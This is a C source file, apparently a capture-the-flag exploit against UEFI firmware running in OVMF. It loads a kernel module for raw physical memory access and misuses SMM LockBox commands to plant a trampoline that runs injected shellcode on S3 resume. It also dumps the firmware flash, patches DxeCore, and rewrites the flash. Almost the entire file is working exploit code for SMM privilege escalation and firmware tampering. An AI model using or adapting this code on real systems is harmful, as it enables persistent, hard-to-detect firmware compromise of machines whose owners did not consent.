#include "pwnc.h"
#include <stddef.h>
#include <sys/io.h>
#include <sys/param.h>
#include <sys/syscall.h>

typedef struct {
  uint32_t Data1;
  uint16_t Data2;
  uint16_t Data3;
  uint8_t Data4[8];
} Guid;

#define EFI_SMM_LOCK_BOX_COMMAND_SAVE 0x1
#define EFI_SMM_LOCK_BOX_COMMAND_UPDATE 0x2
#define EFI_SMM_LOCK_BOX_COMMAND_RESTORE 0x3
#define EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES 0x4
#define EFI_SMM_LOCK_BOX_COMMAND_RESTORE_ALL_IN_PLACE 0x5

#define EFI_BOOT_SCRIPT_DISPATCH_OPCODE 0x08
#define S3_BOOT_SCRIPT_LIB_TERMINATE_OPCODE 0xFF

typedef struct {
  uint32_t Command;
  uint32_t DataLength;
  uint64_t ReturnStatus;
} LockBoxHeader;

typedef struct {
  LockBoxHeader Header;
  Guid Guid;
  uint64_t Buffer;
  uint64_t Length;
} LockBoxSave;

typedef struct {
  LockBoxHeader Header;
  Guid Guid;
  uint64_t Buffer;
  uint64_t Length;
} LockBoxRestore;

typedef struct {
  LockBoxHeader Header;
  Guid Guid;
  uint64_t Offset;
  uint64_t Buffer;
  uint64_t Length;
} LockBoxUpdate;

typedef struct {
  LockBoxHeader Header;
  Guid Guid;
  uint64_t Attributes;
} LockBoxAttributes;

Guid boot_script_guid = {0xaea6b965,
                         0xdcf5,
                         0x4311,
                         {0xb4, 0xb8, 0xf, 0x12, 0x46, 0x44, 0x94, 0xd2}};

Guid lockbox_guid = {0x2a3cfebd,
                     0x27e8,
                     0x4d0a,
                     {0x8b, 0x79, 0xd6, 0x88, 0xc2, 0xa3, 0xe1, 0xc0}};

Guid trampoline_guid = {0x41414141,
                        0x4141,
                        0x4141,
                        {0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41, 0x41}};

typedef struct __attribute__((packed)) {
  uint16_t OpCode;
  uint8_t Length;
  uint64_t EntryPoint;
} ScriptDispatch;

typedef struct __attribute__((packed)) {
  uint16_t OpCode;
  uint8_t Length;
} ScriptTerminate;

typedef struct __attribute__((packed)) {
  Guid guid;
  uint64_t len;
  union {
    LockBoxSave save;
    LockBoxRestore restore;
    LockBoxUpdate update;
    LockBoxAttributes attr;
  };
} Comm;

typedef struct __attribute__((packed)) {
  char signature[4];
  char padding[52];
  long comm;
  long size;
  long status;
} Smmc;

__attribute__((always_inline)) void trigger_smi() {
  asm volatile(".intel_syntax noprefix;"
               "xor eax, eax;"
               "out 0xb3, eax;"
               "out 0xb2, eax;"
               ".att_syntax prefix;" ::
                   : "rax");
}

extern char _binary_teemo_ko_start;
extern char _binary_teemo_ko_end;
int teemo;

typedef struct {
  unsigned long addr;
  void *uptr;
  unsigned long ulen;
} Payload;

bool logging = true;

long _physwrite(long addr, void *buf, size_t len) {
  if (logging)
    info("physwrite(%p)", addr);
  Payload payload;
  payload.addr = addr;
  payload.uptr = buf;
  payload.ulen = len;
  return ioctl(teemo, 1, &payload);
}

long _physread(long addr, void *buf, size_t len) {
  if (logging)
    info("physread(%p)", addr);
  Payload payload;
  payload.addr = addr;
  payload.uptr = buf;
  payload.ulen = len;
  return ioctl(teemo, 0, &payload);
}

void physwrite(long addr, void *buf, size_t len) {
  chk(_physwrite(addr, buf, len));
}

void physread(long addr, void *buf, size_t len) {
  chk(_physread(addr, buf, len));
}

extern char shellcode_start;
extern char shellcode_end;
extern char shellcode_flag;
extern char trampoline_start;
extern char trampoline_end;

#define S3ResumeBase (0x00000852CC0)
#define SmmcBase___ (0x10000000 + 0xe8bf160)
#define CommBase (0x1eb7f000)

long smmc_loc = 0xabab;
long comm_loc = CommBase;
long shellcode_loc = 0xbeef;
long trampoline_loc = S3ResumeBase + 0x289f;
long shellcode_size;
Smmc smmc;
Comm comm;

void calculate_comm_address() {
  int fd = chk(open("/sys/firmware/memmap/15/start", O_RDONLY));
  char buf[32] = {0};
  chk(read(fd, buf, sizeof(buf)));
  comm_loc = strtol(buf, NULL, 0);
  info("comm_loc = %p", comm_loc);
  shellcode_loc = comm_loc + 0x800;
}

void calculate_smmc_address() {
  long offset = 0xe600160;
  long addr;
  int i;
  while (true) {
    addr = 0x10000000 + offset;
    long status = _physread(addr, &smmc, sizeof(Smmc));
    if (status == 0) {
      if (memcmp(&smmc, "smmc", 4) == 0)
        break;
    }

    offset += 0x1000;
  }

  smmc_loc = addr;
  info("smmc_loc = %p", smmc_loc);
}

void smm_command() {
  memcpy(smmc.signature, "smmc", sizeof(smmc.signature));
  smmc.comm = comm_loc;
  smmc.size = offsetof(Comm, restore) + comm.len;
  smmc.status = 0;
  physwrite(smmc_loc, &smmc, sizeof(Smmc));
  physwrite(comm_loc, &comm, sizeof(Comm));
  trigger_smi();
  physread(smmc_loc, &smmc, sizeof(Smmc));
  physread(comm_loc, &comm, sizeof(Comm));
  info("smmc.status = %ld", smmc.status);
  info("comm.status = %ld", comm.restore.Header.ReturnStatus);
}

void s3_sleep() {
  int power = chk(open("/sys/power/state", O_WRONLY));
  char power_state[] = "mem";
  chk(write(power, power_state, strlen(power_state)));
}

extern char _binary_DxeCore_patched_efi_start;
extern char _binary_DxeCore_patched_efi_end;

void dump_firmware() {
  uint64_t base = 0xFFC84000;
  uint64_t size = 0x37c000;
  uint64_t offset = 0;
  char chunk[0x1000];
  int outfd = chk(open("OVMF_CODE.fd", O_WRONLY | O_CREAT, 0666));
  while (size > 0) {
    info("offset = %p/0x37c000", offset);
    physread(base + offset, &chunk, MIN(sizeof(chunk), size));
    chk(write(outfd, &chunk, MIN(sizeof(chunk), size)));
    offset += sizeof(chunk);
    size -= sizeof(chunk);
  }
}

void write_firmware() {
  logging = false;
  int fd = chk(open("OVMF_CODE_skibidi.fd", O_RDONLY));
  struct {
    u64 base;
    u8 data[0x800];
  } state;

  u64 state_offset = &shellcode_flag - &shellcode_start;
  u64 base = 0xFFC84000;
  for (size_t i = 0; i < 0x37c000; i += 0x800) {
    info("offset = %p/0x37c000", i);
    state.base = base + i;
    int nbytes = chk(read(fd, &state.data, sizeof(state.data)));
    if (nbytes != sizeof(state.data)) {
      panic("partial read???");
    }

    physwrite(shellcode_loc + state_offset, &state, sizeof(state));

    comm.guid = lockbox_guid;
    comm.len = sizeof(LockBoxUpdate);
    comm.update.Header.Command = EFI_SMM_LOCK_BOX_COMMAND_UPDATE;
    comm.update.Header.DataLength = sizeof(LockBoxUpdate);
    comm.update.Header.ReturnStatus = 0x1337;
    comm.update.Guid = trampoline_guid;
    comm.update.Buffer = 0xaaaa;
    comm.update.Length = 0xbbbb;
    smm_command();
  }
}

int main(int argc) {
  setbuf(stdout, NULL);
  setbuf(stderr, NULL);
  raise_fd_limit();
  pin_to_cpu(0);
  chk(ioperm(0, 0x100, 1));
  try(syscall(SYS_init_module, &_binary_teemo_ko_start,
              &_binary_teemo_ko_end - &_binary_teemo_ko_start, ""));
  teemo = chk(open("/dev/teemo", O_RDWR));
  calculate_comm_address();
  calculate_smmc_address();
  shellcode_size = &shellcode_end - &shellcode_start;

  if (argc == 2) {
    write_firmware();
    exit(0);
  }

  info("dumping firmware");
  dump_firmware();
  info("dumped firmware");
  int dxe = chk(open("DxeCore_patched.efi", O_CREAT | O_WRONLY, 0666));
  chk(write(dxe, &_binary_DxeCore_patched_efi_start,
            &_binary_DxeCore_patched_efi_end -
                &_binary_DxeCore_patched_efi_start));
  close(dxe);
  info("patching...");
  system("./UEFIReplace ./OVMF_CODE.fd D6A2CB7F-6A18-4E2F-B43B-9920A733700A "
         "0x10 DxeCore_patched.efi -o OVMF_CODE_skibidi.fd");
  info("done patching!");

  physwrite(shellcode_loc, &shellcode_start, shellcode_size);

  u8 trampoline[6] = {0x68, 0xff, 0xff, 0xff, 0xff, 0xc3};
  ((u32 *)(trampoline + 1))[0] = (u32)shellcode_loc;
  const long trampoline_size = sizeof(trampoline);
  info("trampoline_size = %d", trampoline_size);

  comm.guid = lockbox_guid;
  comm.len = sizeof(LockBoxSave);
  comm.save.Header.Command = EFI_SMM_LOCK_BOX_COMMAND_SAVE;
  comm.save.Header.DataLength = sizeof(LockBoxSave);
  comm.save.Header.ReturnStatus = 0;
  comm.save.Guid = trampoline_guid;
  comm.save.Buffer = trampoline_loc;
  comm.save.Length = trampoline_size;
  physwrite(trampoline_loc, &trampoline, trampoline_size);
  smm_command();

  comm.guid = lockbox_guid;
  comm.len = sizeof(LockBoxAttributes);
  comm.attr.Header.Command = EFI_SMM_LOCK_BOX_COMMAND_SET_ATTRIBUTES;
  comm.attr.Header.DataLength = sizeof(LockBoxAttributes);
  comm.attr.Header.ReturnStatus = 0;
  comm.attr.Guid = trampoline_guid;
  comm.attr.Attributes = 1;
  smm_command();

  s3_sleep();
}

/*
00c3d2b0  73 6d 6d 63 00 00 00 00  00 00 00 00 00 00 00 00  |smmc............|
0eacd160  73 6d 6d 63 00 00 00 00  98 ce 02 0e 00 00 00 00  |smmc............|

0xffda000
0xffdbf07
0xffda000 + 0x2743
*/